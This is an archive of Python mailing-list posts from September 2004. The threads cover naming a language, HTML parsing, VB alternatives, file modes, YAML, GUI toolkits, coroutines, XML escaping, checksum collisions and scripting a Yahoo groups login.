Basically, all the *really* cute Py* names are taken. I'd recommend doing
something that cleanly separates you from Python, and then just note the
descendance. The farther you are getting from an implementation of Python,
the more true this becomes. I think you will actually come to regret the
association if you make it too strong, as people will get ideas about your
language from the association, then be upset about the language when it
doesn't meet their expectations. Better to start fresh.


From ville at spammers.com  Fri Sep 24 09:55:25 2004
From: ville at spammers.com (Ville Vainio)
Date: 24 Sep 2004 16:55:25 +0300
Subject: Don't let your babies grow up to be programmers (was: up with
	PyGUI!)
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
	<mailman.3701.1095836355.5135.python-list@python.org>
	<rp0b22-l8g.ln1@lairds.us>
	<278de0e.0409231337.1a032135@posting.google.com>
Message-ID: <du7vfe37ovm.fsf@lehtori.cc.tut.fi>

>>>>> "Luis" == Neuruss  <luismg at gmx.net> writes:

    Luis> Now you see China, India, Brazil and other countries that
    Luis> are doing well, improving the condition of their
    Luis> inhabitants, getting them out of missery and incorporating
    Luis> them to the global market.  Those foreigners buy american
    Luis> products, now more than before because they have more money,
    Lkuis> thus improving the profit of the monsters mentioned above.

What are these American products they are buying? Coca Cola and Big
Macs (which are probably locally produced)? MSFT Windows?

I don't really see a need for any American products when much cheaper
alternatives are available, from Asia and elsewhere.

However, that's all irrelevant. Corporations are going to move jobs
away from the US anyway, because it makes sense financially. If they
can save a buck, it doesn't matter if that puts 1000 (perceivedly)
overpaid americans out of their jobs. It's not like those specific
laid-off workers were using their salaries to buy the company products
in the first place.

    Luis> This is the internet age. I hope that it contributes to make
    Luis> the poor less poor and the rich not so rich, and maybe, in a
    Luis> distant future we will have a better world for all of us.

Well, at least it contributes to making the rich (people, not
countries) much richer, while reducing the overall wealth of rich
countries. I guess it won't be the end of the world if the first world
countries can bear the burden of the resulting unemployment - it's
much more comfortable to be poor in a country that doesn't routinely
hit -20C on winters ;-).

Personally, I don't care much either way because Finland is one of
those countries with low salaries for engineers, with the unfortunate
twist of the cost of living being high as well.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From jjl at pobox.com  Sat Sep 25 09:27:19 2004
From: jjl at pobox.com (John J. Lee)
Date: 25 Sep 2004 14:27:19 +0100
Subject: html processing
References: <mailman.3889.1096080722.5135.python-list@python.org>
Message-ID: <874qlma37s.fsf@pobox.com>

Ismael Herrera <ismaelherreragasser at hotmail.com> writes:
[...]
> So the htmllib is a regex search with empty methods? i can do that by
> myself, no need use a parser, i am a litle confused in this.

It's a little more complicated than that.  But feel free to rewrite
sgmllib.py if you so please.


> Is there a python html parser that creates objects from html sources,like
> xml.dom?  

Yes, many.

Which one is best for you depends on what it is you're trying to do.


John


From jkugler at bigfoot.com  Sat Sep 11 03:21:12 2004
From: jkugler at bigfoot.com (Joshua Kugler)
Date: Fri, 10 Sep 2004 23:21:12 -0800
Subject: VB(ish) replacement
References: <FacLc.51848$yd5.10896@twister.nyroc.rr.com>
Message-ID: <4142a768@news.acsalaska.net>

If you are looking to stay close to VB, here are some to look at:

http://hbasic.sourceforge.net/
http://gambas.sourceforge.net/

Or for something completely different:
http://www.naken.cc/vb2c/

http://www.gnome.org/projects/gb/
Gnome basic, now dead.  However, mbas, the Mono Basic *is* alive and well,
and might be what you are looking for: http://www.go-mono.com/mbas.html
(site not accessible at time of post).

I may start a flame war with this, but from what I understand, VB is
actually a distant descendant of Ruby.  So, that might tell you something.

j----- k-----

Dave Boland wrote:

> The other day I was asked if there is an open source replacement for VB6
> that is cross-platform.  I spent a little bit of time at Barnes-Noble
> and looking at news groups, but don't have a good answer.  Hope you can
> help without geting into a language war.  These will be for commercial
> applications with a GUI.
> 
> What they seem to be looking for is:
> 1. High level language, but not necessarly VB compatible.
> 2. OOP
> 3. Reasonalble learning curve
> 4. Cross-platform
> 5. IDE and ability to graphically design windows.
> 6. Distribute programs as .exe's, so some sort of compiler needed.
> 7. Serial communications library (RS-232, 485, USB)
> 8. SNMP library
> 9. Good performance (not expected to be as fast as C/C++)
> 10. Windows are native to each O.S.
> 11. Database support of Access and MySQL
> 
> It looks like any of the three languages have most or all of what they
> need, but I don't use scripting languages enough to give a good answer.
> 
> Dave,



From vincent.touquet at gmail.com  Mon Sep  6 12:35:12 2004
From: vincent.touquet at gmail.com (Vincent  Touquet)
Date: 6 Sep 2004 09:35:12 -0700
Subject: embedding Python and changing stdin, stdout and stderr
In-Reply-To: <7ed8f64d.0409030425.211e5a9c@posting.google.com>
Message-ID: <chi3k0$al1@odbk17.prod.google.com>

Thanks for the link, there are spaces between the +-es though, so
anyone following the link should just remove them first :)

Another solution to my problem would be an interactive Python
interpreter written in Python, which I could run atop of the embedded
Python/Jython (that works like a charm, except the fact that the parser
reads from the C stdin constant FILE* file descriptor, which is a PITA
to plug into in a portable way, as FILE is very much platform and
compiler specific ...), and for which replacing the source of the
parser should be much easier and portable (Python code is nicely
portable) than it would be to change the source of the parser of Python
itself (note: I'm talking about _interactive_ mode, if the parser reads
from a file it is very easy to change the sourcefile the parser reads
from of course).

I know that IDLE exists, but it depends on Tk, I'd rather have an
interactive Python interpreter written in Python that is a console app,
so I want minimal extra dependencies  :) Any takers ?
best regards,

Vincent



From rogerb at rogerbinns.com  Sun Sep 19 02:32:28 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Sat, 18 Sep 2004 23:32:28 -0700
Subject: Closed-source, possible?
References: <Gz83d.1044$6eS.955@news04.bloor.is.net.cable.rogers.com>
Message-ID: <33mv12-v6q.ln1@home.rogerbinns.com>

Davis Chord wrote:
> I've heard/seen/used the pyc program that turns your .py files into
> .pyc files, but I'm wondering how easily someone can get to your
> source from these compiled files. If it's not possible to have a
> portable progam thats' source cannot be easily accessed (or at all
> :P), then open-source is just easier.

That exact topic comes up fairly frequently on this list.  I would
suggest reading the archives first which you can do at either of
these links:

  http://news.gmane.org/gmane.comp.python.general
  http://groups.google.com/groups?group=comp.lang.python

Roger 




From rschroev_nospam_ml at fastmail.fm  Fri Sep 24 10:38:38 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Fri, 24 Sep 2004 14:38:38 GMT
Subject: file read, binary or text mode
In-Reply-To: <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<MaqdnVoFl5tkmsncRVn-uQ@powergate.ca>
	<41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>
Message-ID: <OjW4d.255917$OR1.13371520@phobos.telenet-ops.be>

Guyon Mor?e wrote:

> ok, i have huffman encoding code.
> 
> this is actually build for text, but because python can also read a binary
> file as a string, this applies equally well :)
> 
> but, i was just wondering if this gives any problems if I use text-mode read
> for the binary files and vice versa.
> 
> If I undertand correctly now, using binary mode is _always_ save, right?

It's safe in the sense that everything goes out exactly as it came in. 
For example, gzip uses binary mode even when compressing text files. The 
files may be text, but gzip doesn't care about that. It doesn't care 
about words, sentences and line endings, but it does care about 
representing exactly the bytes that are in the file.

Editors, diff, wc, ... use text mode.
cp, tar, gzip, ... use binary mode.

-- 
"Codito ergo sum"
Roel Schroeven


From peter at engcorp.com  Tue Sep  7 09:17:06 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Sep 2004 09:17:06 -0400
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
In-Reply-To: <1stv02-qlp.ln1@home.rogerbinns.com>
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com>
Message-ID: <vvudnXvWYobKKaDcRVn-vg@powergate.ca>

Roger Binns wrote:

>   http://maurizio.giampy.it/apg/
> 
> It was how I came up with Entrocul and BitPim :-)

Since most of the ones it generates are useless for this
discussion, I thought I'd give the several potential ones
that it popped up for me amidst the crap:

dophon
cowbird

I kinda like the second one...  (it said it's pronounced
"cowb-ird" though, so maybe it wouldn't do. ;-)

-Peter


From ThisIsNotMyReal at ddress.com  Wed Sep 22 20:44:58 2004
From: ThisIsNotMyReal at ddress.com (Brian)
Date: Thu, 23 Sep 2004 00:44:58 GMT
Subject: Check for keystroke <--Nevermind
References: <Xns956C6558D1D9Anonenonecom@24.93.43.121>
Message-ID: <Xns956CCC450F99Fnonenonecom@24.93.44.119>

stdscr.nodelay(1)

Gah, I'm a retard.


Brian <ThisIsNotMyReal at ddress.com> wrote in
news:Xns956C6558D1D9Anonenonecom at 24.93.43.121: 

> Inside a loop, I need to passively check to see if a key is pressed or
> not without pausing like raw_input does.  Some pseudocode:
> 
> While true:
>          If a key is pressed
>                   which key is pressed
>          
>          do other stuff inside loop
> 
> 
> Google groups turned up this thread:
> 
> http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th=
> 3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83%
> 40posting.google.com&frame=off
> 
> TinyURL: http://tinyurl.com/4chqh
> 
> 
> But neither the pygame or curses solution worked.  Any new thoughts on
> this?
> 



From carribeiro at gmail.com  Fri Sep  3 16:57:58 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 17:57:58 -0300
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <Fr4_c.9571$Xi.6221@fe1.texas.rr.com>
References: <mailman.2825.1094216861.5135.python-list@python.org>
	<chai28$pd8$1@ctb-nnrp2.saix.net>
	<Fr4_c.9571$Xi.6221@fe1.texas.rr.com>
Message-ID: <864d370904090313573d3acaa8@mail.gmail.com>

On Fri, 03 Sep 2004 20:26:13 GMT, Paul McGuire
<ptmcg at austin.rr._bogus_.com> wrote:
> (What if you wrote a sorted_iter that would iterate over an existing list in
> sorted order?)

I wrote about it earlier today. The proper way to do it is through a
generator. This way you can sort a sequence and use just a small part
of it -- maybe just the top few items or so. I proposed the name
xsorted() to keep company with xrange(), but that's being deprecated,
so I really don't know if it's worth it at this point.


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From M.Waack at gmx.de  Tue Sep 28 16:30:20 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Tue, 28 Sep 2004 22:30:20 +0200
Subject: using threads with for-loops
References: <3e96ebd7.0409280711.42ef328b@posting.google.com>
	<va2dndnRbro_C8TcRVn-vw@powergate.ca> <udqo22-sf7.ln1@valpo.de>
	<KvCdnUvBCJ5wX8TcRVn-pg@powergate.ca>
Message-ID: <s7uo22-9m7.ln1@valpo.de>

Peter Hansen wrote:

> Mathias Waack wrote:
>> Have you ever seen machines with more than one CPU?
> 
> Why yes, I have!  And have *you* seen an implementation
> of Python which will effectively use those multiple CPUs
> in code like that above which runs in a single process?

Ok, I've lost: I haven't seen such implementation and don't know much
about the thread-layer of Python. 
 
>> The code above is perfectly suited for parallelization.
> 
> Yes, it is.  Once you take into account implementation
> issues (e.g. the GIL), would you still think so?

Depends. Which means: don't know. If I would start thinking about
creating threads to gain a speedup, I would even think about
switching to another programming language. 

Mathias 


From cce at clarkevans.com  Mon Sep 20 15:45:19 2004
From: cce at clarkevans.com (Clark C. Evans)
Date: Mon, 20 Sep 2004 15:45:19 -0400
Subject: PyYaml?
In-Reply-To: <BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05>
	<4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>
	<uCo3d.4230$4j1.460@trndny06>
	<BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>
Message-ID: <20040920194519.GA8852@prometheusresearch.com>

Andrew,

Thank you for taking some serious time looking at PyYaml, I'm not
surprised you have found problems; the entire code base was written
in a very short amount of time and numerous short-cuts were taken.
Tim Parkin has decided on a complete rewrite of PyYaml and that's
great news. For now, you may want to consider using syck, but even
then, you can probably find exploits if you dig hard enough. Patches
are, of course, warmly received.

Primary comments on this thread:

  - YAML was intended from the first day to be a cross-language
    serialization tool. In a mixed-language environment (we use
    Ruby, Python and on occasion Perl) YAML is a very nice to use.

  - Unlike XML, YAML has a information model which closely matches
    the needs of programming languages.  I can't express how
    important this is.  We have spent a great deal of time on the
    model, YAML simply isn't a data format.  We are working on
    transformation languages, and other generic tools.

  - YAML was created for human reading / authoring.  We have spent
    an enormous amount of time working with real use cases of data
    to find a very clean expression of structured data.   If you
    like Python's use of whitespace to show structure, you will
    probably like YAML.  While automated generation of YAML isn't
    that pretty, it eventually will be.

  - This is a long term project; YAML is designed with the idea that
    data lives far longer than programs.  We are taking our time. We
    have also strived for 'consensus' when possible, this may seem
    to slow down specification and implementation work, however, we
    are better for it.  There are lots of people who have provided
    critical insights for YAML and it's been a delightful community.
    
  - Implementing YAML isn't easy.  At every step of the way the
    consensus has been to keep a clean information model and have
    lots of human presentation options.  The only time we favored an
    implementation issue over presentation is when it would prevent
    YAML from being used in a streaming application.  Therefore we
    have stuck with very minimal look-ahead requirements.  That
    said, if you are looking for a LR(1) grammar for ANTLR or Bison,
    I don't think one exists; but, alas I'll be gladly proven wrong.

  - YAML isn't an efficient binary format.  Pickle or something like
    Jelly's s-expressions will be far faster to parse and load.

  - Finally, everyone working on YAML has full time job; we do not
    have grant funding or university backing.  Therefore, implementations 
    will take time to mature; especially considering the complexity
    of the tradeoffs.

I hope this is helpful to you.

Clark


From nid_oizo at yahoo.com_remove_the_  Thu Sep 23 14:33:53 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Thu, 23 Sep 2004 14:33:53 -0400
Subject: up with PyGUI!
In-Reply-To: <41530803.3090805@zephyrfalcon.org>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org>
	<KgB4d.25594$pA.1567708@news20.bellglobal.com>
	<41530803.3090805@zephyrfalcon.org>
Message-ID: <kGE4d.27287$pA.1612653@news20.bellglobal.com>

Hans Nowak wrote:
> I'm not sure it's *that* much easier... all you're saving is one parameter.

Easier is probably not the good word.  It is less redundant and less 
error-prone.  It has happened to me to make mistakes in ownership of 
widgets when copy-pasting code, when these errors would not have occured 
if the parent parameter was not passed.

It is also more usable, since you can do things like:
myFrame.SetMenuBar(MenuBar([
     Menu("File", [
         Item("&New\tCtrl+N", self.onNew),
         Menu("Some sub menu...", ...)]
     Menu("Edit", ...)]

The problem is that that explicit cross-referencing between parent and 
child forces the parent to be created before, removing capabilities like 
that one.

>> Another thing I'm suggesting is a mechanism to not destroy a widget 
>> until it's corresponding python object is destroyed.  It's more 
>> complex, but Python has already ownership with refcount, garbage 
>> collection, etc. and I think a truly pythonic GUI framework should use 
>> the same ownership mechanism.
> 
> 
> Hm.  I'm not sure how wxPython handles that, and if it would be possible 
> to impose such a system on top of it.

I honestly don't know.  I guess a solution could be to create a frame in 
two passes, and the wx.Frame created after the first pass is used as 
parent of everything created in second pass.

Also, the wxPython mechanism could be completely hidden behind the 
wrappers.  The wrappers can contain all necessary information to create 
the widgets, allowing widgets to be created with a parent when addded to 
it and even recreated with another parent if added later to something 
else.  This way the user will not even have to think about the ownership 
  issue.

> Wax follows the wxPython standard here.  Since most Wax controls derive 
> directly from wxPython classes, it would make little sense to add 
> lowercase methods to the mix (next to the existing uppercase methods), 
> or to convert them.

Sorry, I though they were complete wrappers as in PythonCard.  I totally 
agree to keep things that way if wx widgets are inherited.

Regards,
Nicolas


From mlh at furu.idi.ntnu.no  Sat Sep 11 12:48:18 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sat, 11 Sep 2004 16:48:18 +0000 (UTC)
Subject: ANN: Python Graph Wiki
References: <slrnck1lc8.181.mlh@furu.idi.ntnu.no>
	<pan.2004.09.10.03.45.48.941822@jerf.org>
	<slrnck61i8.9uh.mlh@furu.idi.ntnu.no>
	<bwF0d.12892$w%6.12343@newsread1.news.pas.earthlink.net>
Message-ID: <slrnck6b2i.l77.mlh@furu.idi.ntnu.no>

In article <bwF0d.12892$w%6.12343 at newsread1.news.pas.earthlink.net>,
Andrew Dalke wrote:
>Magnus Lie Hetland wrote:
>> Others have been able to add some material. Perhaps you could try
>> again? (And -- do you have any more specifics on how things failed?)
>
>For me my post and my previews time out after 60
>seconds and the changes never get on the page.

Hm. How weird.

Anyway -- based on a suggestion (not really sure by whom -- this is
the nature of wiki ;) I've moved the wiki to the Python wiki:

  http://www.python.org/cgi-bin/moinmoin/PythonGraphApi

Hopefully that should work OK.

(Was it you who suggested this, Skip? You seem to be the only one who
has subscribed to the page...)

-- 
Magnus Lie Hetland       The time you enjoy wasting is not wasted time
http://hetland.org                                  -- Bertrand Russel


From foo at bar.com  Fri Sep  3 18:57:10 2004
From: foo at bar.com (Steve Menard)
Date: Fri, 03 Sep 2004 18:57:10 -0400
Subject: use of Java modules
In-Reply-To: <2pp4v4Fnp39vU1@uni-berlin.de>
References: <2pp4v4Fnp39vU1@uni-berlin.de>
Message-ID: <5ANZc.28456$681.376020@weber.videotron.net>

Luis P. Mendes wrote:
> Hi,
> 
> I have a Python program that needs to interact with Java as follows:
> 
> 1- A website supplied me java code that is able to perform some web
> services;
> 2- my Python program triggers some events;
> 3- I would like to use that java code when an event is triggered, instead of
> having to recode everything in Python;
> 4- I know nothing about java, don't even know what .jar .class and .java
> files are used for;
> 5- I've checked Jython.org but I don't know if it is what I was looking for,
> because, preferably, I wouldn't like to have to learn Java;
> 6- Example: is it possible to import a java function such as connect() and
> use it in my Python program directly using parameters like:
>         z1=value1
>         z2=value2
>         if TRUE:
>                 connect(z1,z2)  <-- java function with z1 and z2 
> 7- is it possible to have, as other example:
>         var1, var2 = JAVA_FUNCTION(z1,z2)
> 
> So,my question are:
> is Jython the way to do it?  if not, how?
> are there tutorials for extreme begginers in using another language in
> Python?
> 
> Luis

There are actually many ways for python to use Java classes.

There is Jython. This works well if you python code is compatible. This 
means any python libraries you use must be jython-compatible. Also, 
python-language-wise, jython is still arounf puthon 2.1 afaik.

Secondly, tehre is JPype ( http://jpype.sourceforge.net ). It still 
alpha (and even that can be termed generous hehe). This is my prefered 
option, since I am it's developper hehe. In theory it should eventually 
allow you to use any Java class as though it were a python class.

Thirdly there is spiro (http://www.freenet.org.nz/python/spiro/) I have 
no experience with it, but I know it bridges the Python and Java VM by 
using CORBA.

Lastly there was JPI, a interface generator that would expose specific 
java classes to python. the website seems to be down though ...

All these solutions have one thing in common though ... you will have to 
learn a bit about java. No so much as to need to program in it, but 
enough to set up environment and classpath, etc ...

If you decide to use JPype, you get support for free ;)

Hope this helps,

Steve





From zathras at thwackety.com  Sun Sep 19 06:04:21 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Sun, 19 Sep 2004 11:04:21 +0100
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<8cf9f521.0409181021.6db6a3e4@posting.google.com>
	<653b7547.0409182157.4339613@posting.google.com>
Message-ID: <414d6080$0$17924$ed2619ec@ptn-nntp-reader02.plus.net>

Patrick Maupin wrote:

> In other words, to
> me, the whole point of using coroutines is to make reasoning about the
> system easier (of which reducing code is sometimes a large part). (So
> color me un-academic :)

Assuming a language has stackful coroutines, can you *guarantee* for me that
in the following the filehandle is always closed? (Assume that processFile
is called from inside the start point for a co-routine, and that function
reference process passed through is where the co-routine switching occurs.

def processFile(filename, process):
   try:
      f = open(filename)
      try:
         for i in f:
            process(i)
         f.close()
      except:
         f.close()
   except IOError:
      print "Couldn't open file, didn't do anything"

I would argue that you cannot, unless you start placing restrictions on the
coroutines in a way you (and others) haven't detailed. (Such as ensuring
that when you throw something like exceptions.SystemExit that it propogates
through all the co-routines and hits all the bare except clauses and isn't
stopped by any single one of them.)

The correctness of the code above is predicated on the assumption that
all the calls it makes to other functions will resume immediately. With
stackful coroutines you cannot guarantee this, and as a result reasoning
accurately about code like this is near to impossible in the general case. 

Any implementation of coroutines or co-routine type behaviour has to take
this sort of case into account IMO - or else reasoning about even simple
cases and guaranteering correctness becomes much more difficult. (Consider
"process" being object and "object.process" in the use case above)

Regards,


Michael.



From ruchika_khera at hotmail.com  Fri Sep 10 02:19:20 2004
From: ruchika_khera at hotmail.com (Ruchika)
Date: 9 Sep 2004 23:19:20 -0700
Subject: Can we use /MAKE inside the popen3 command?
Message-ID: <82880e86.0409092112.2a5ce2b3@posting.google.com>

Is it OK to use "/" or "-" characters in a string and then use that
string inside the popen3 command? I am doing the following -

os.popen3('r'"C:\Program Files\... \EVC.exe"'
r'"C:\Test\...\Test.vcp"' /MAKE "GFSDK - Win32 (WCE ARMV4) Release"
/REBUILD"')

When I run this command in the Python shell, it says - "Syntax Error"
and the marker is uderneath the "-" in  "GFSDK - Win32 (WCE ARMV4)
Release". Not sure if the marker is actually pointing to specifically
"-" or the entire /MAKE "GFSDK - Win32 (WCE ARMV4) Release" string.
Anyone else came across similar problem?

Thanks for your help.

Ruchika


From __peter__ at web.de  Thu Sep  2 04:23:37 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 02 Sep 2004 10:23:37 +0200
Subject: invalid token problem ?
References: <5db3bf00.0408310133.39de601c@posting.google.com>
	<ch1ki4$o78$00$1@news.t-online.com>
	<5db3bf00.0409012355.2c502b79@posting.google.com>
Message-ID: <ch6la9$ho6$01$1@news.t-online.com>

tag wrote:

> Thomas Kr?ger <thomas.krueger at gmx.net> wrote in message
> news:<ch1ki4$o78$00$1 at news.t-online.com>...
> 
>> Your XML is not well-formed. All quotation marks in CDATA fields (outside
>> of a tag) must be quoted to &quot;.
> 
> I got that part :)
> 
>> You XML should be:
>> <Cell Col="2" Row="10">=&quot;Actual Asset mix
>>  &quot;&text($C$46,&quot;dd-mmm-yyyy&quot;)</Cell>
>> 
> 
> but they are - it is complaining about the :
> &text part ... the '"' 's are converted into &quot; ...
> 
> any other suggestions ?

I think you misunderstood - the original xml is invalid. In your short
snippet you could remedy that by snippet = snippet.replace("&", "&amp;") 
_before_ feeding it to the parser. Unfortunately this doesn't work in the
general case because not all occurences of '&' may be literal ampersand
chars and not all occurences of '<' and '>' may be markup. Therefore what
you need to do is to fix the program that _generates_ the invalid xml not
the one that tries to parse it and fails. If the generating program is in
python, you can use xml.saxutils.escape() to process the literal text
snippets, but only those.

Peter



From Cameron at Phaseit.net  Thu Sep 30 21:53:02 2004
From: Cameron at Phaseit.net (Cameron Laird)
Date: Fri, 1 Oct 2004 01:53:02 +0000
Subject: Social Analysis and Modeling for Python
In-Reply-To: <415C1B51.7070605@cloudthunder.com>
References: <415AD6A4.7000400@cloudthunder.com>
	<10AC3CB6-1236-11D9-876C-0003939C968C@unito.it>
	<mailman.4096.1096482802.5135.python-list@python.org>
	<E1CCrfY-00028y-0i@lairds.us> <415C1B51.7070605@cloudthunder.com>
Message-ID: <20041001015302.GA530@lairds.us>

On Thu, Sep 30, 2004 at 10:42:25AM -0400, Bishara Gabriel wrote:
> Envelope-to: claird at lairds.us
> Delivery-date: Thu, 30 Sep 2004 14:30:21 +0000
> Disposition-Notification-To: Bishara Gabriel <bgabriel at cloudthunder.com>
> From: Bishara Gabriel <bgabriel at cloudthunder.com>
> Reply-To: python-list at python.org
> To: Cameron Laird <claird at lairds.us>, python-list at python.org
> Subject: Re: Social Analysis and Modeling for Python
> X-spam-score: 0.0
> X-spam-score-int: 0
> X-spam-bar: /
> X-spam-report: 
> 
> Cameron Laird wrote:
> 
> >In article <mailman.4096.1096482802.5135.python-list at python.org>,
> >Bishara Gabriel  <bgabriel at cloudthunder.com> wrote:
> > 
> >
> >>Latest Revision of Social Analysis and Modeling in Python:
> >>http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf
> >>   
> >>
> >
> >Recognition of SimPy greatly comforts me.
> >
> > 
> >
> Glad to hear it.  That was Tim's fantastic suggestion.
> 
> >Is your thesis that OOP is good for social sciences in contrast to other
> >sciences, or as with other sciences?  If the latter--as I believe--than you
> >need to alert readers to Python's existing record of success in serving the
> >sciences (see, for example, the recent SciPy Conference).
> >
> > 
> >
> Not in contrast, no.  Excellent suggestions, we shall incorporate them 
> immediately.
> 
> >I don't like formulations such as "one-to-one correlation between their
> >theoretical model and the Python equivalent."  It says both too little and 
> >too much.  If this were my proposal, I'd aim for the far more powerful,
> >"this project demonstrates Python's suitability as a vehicle which
> >simultaneously expresses a theoretical model in a way researchers
> >understand, and calculates the consequences of that model with a speed
> >and reliability humans don't match."
> >
> > 
> >
> Noted, you can expect the modification to be made immediately.
> 
> >Do you realize how ambitious your "Proposal Specifics" sound?  How many
> >hours do you estimate these seven achievements will require?  What are
> >the "loadings" of your Project Manager and Chief Consultant?
> >
> > 
> >
> The majority of the work will be carried out by the project manager (I) 
> and a team of 10 interested and well skilled students.  Ambitious our 
> project is indeed, yet we are confident in our abilities.
> 
> >For you, is "theoretical economics" inherently and comprehensively
> >Marxian, or are you claiming expertise only in that part of it which is
> >Marxian?
> > 
> >
> I do not attempt to conflate theoretical economics with Marxism.  
> Indeed, Marxian class analysis will be our entry-point because it is an 
> area of particular expertise and thus allows for us to add to that realm 
> in an immensely significant manner.  As our tools and materials intend 
> to reflect the broad applicability of Python in the social science we 
> will work with academics in those other fields to insure support for the 
> specifics their research.

I understand better.  Thank you.


From aisaac at american.edu  Tue Sep 28 07:31:37 2004
From: aisaac at american.edu (Alan G Isaac)
Date: Tue, 28 Sep 2004 07:31:37 -0400
Subject: file read, binary or text mode
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
	<MaqdnVoFl5tkmsncRVn-uQ@powergate.ca>
	<41540ea3$0$3889$4d4ebb8e@news.nl.uu.net>
	<OjW4d.255917$OR1.13371520@phobos.telenet-ops.be>
	<10lc6dseqo1185e@corp.supernews.com>
	<cj57cj$1d3$1@pegasus.csx.cam.ac.uk>
Message-ID: <10liio18vhds7f6@corp.supernews.com>


"Michael Hoffman" <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> wrote in
message news:cj57cj$1d3$1 at pegasus.csx.cam.ac.uk...
> I imagine the file in the archive was created on a DOS-type system,
> where the line ending is \r\n. That's what you read in. When you write
> it out in "w" mode the \n is expanded to \r\n without checking to see if
> there is already a \r beforehand. So you get \r\r\n.

Thanks; that addresses my basic misconception about writing in textmode.
 I had thought that writing in textmode produced a platform specific
conversion of the text written, but I now understand that this only affects
how \n is written.

> If you want to be able to get "universal newline" input from your
> zipfile, consider piping input through this generator and using "w" mode:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/286165

Very helpful.

Thanks,
Alan Isaac




From http  Fri Sep 10 03:54:02 2004
From: http (Paul Rubin)
Date: 10 Sep 2004 00:54:02 -0700
Subject: Shorter checksum than MD5
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>
	<hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>
	<7xllfjfe9m.fsf@ruckus.brouhaha.com>
	<ad052e5c.0409092247.6f905e36@posting.google.com>
	<7x8ybi8szi.fsf@ruckus.brouhaha.com>
Message-ID: <7xoeke7e5h.fsf@ruckus.brouhaha.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:
> > If all 2**32 checksums are equally likely, the probability of a
> > collision is only about 0.0000232828.
> 
> That's incorrect, the probability is much higher.  It's more like 0.7.

I should be clear: the claim was, if you have 100000 records and
32-bit hash, with probability around 0.7, some two records will have
the same hash.  That makes some uses of the hashes inappropriate.

However, if you only care about record #n on system A accidentally
colliding with record #n on system B, rather than about it colliding
with an arbitrary other record, then you're in much better shape.

If you're worried about intentional collisions that an attacker might
construct, rather than only about accidental collisions, you need a
longer hash regardless of the number of records.


From peter at engcorp.com  Sun Sep 12 18:07:39 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Sep 2004 18:07:39 -0400
Subject: traversing yahoogroups group messages 
In-Reply-To: <10k9a0nhcfai703@corp.supernews.com>
References: <10k9a0nhcfai703@corp.supernews.com>
Message-ID: <8u2dnbXKVOwxVdncRVn-vA@powergate.ca>

lothar wrote:

> i want to traverse a set of messages in a Yahoogroups group from a Python
> program.
> 
> to get to the messages of the group, one must log in.
> 
> this presents, i think, two problems,
> 1) handling the form element for the login, which has a javascript submit
> routine,
> 2) keeping login state with cookies.
> 
> to someone who knows something about the issues here, my questions are:
> 
> 1) is it possible to do this in Python?

Yes.

> 2) if so, how do i handle the form and the javascript?

There are a variety of approaches, including ones which depend on which
platform you are using (e.g. Win32, Linux, other?) and which depend
on how sophisticated and flexible you want the result to be.

> 3) does Java Python have a javascript engine and do i need Java Python here?

Do you realize that Java has absolutely nothing to do with Javascript
except forming part of its name?  And no, you don't need it here.

> 4) if i need to use cookies, how do i know what to name and what to set into
> a cookie?

By asking the server, and watching the cookies that come back from
it.  The ClientCookie module would presumably help.  You could also
just turn off cookies in your browser and access the site, and see
if it still works... maybe you don't need them at all.

> for context, i include the form element below.
> the submit routine hash() is javascript.

There have been similar questions and many responses on this subject
in the past.  I suggest using Google Groups to check the newsgroup
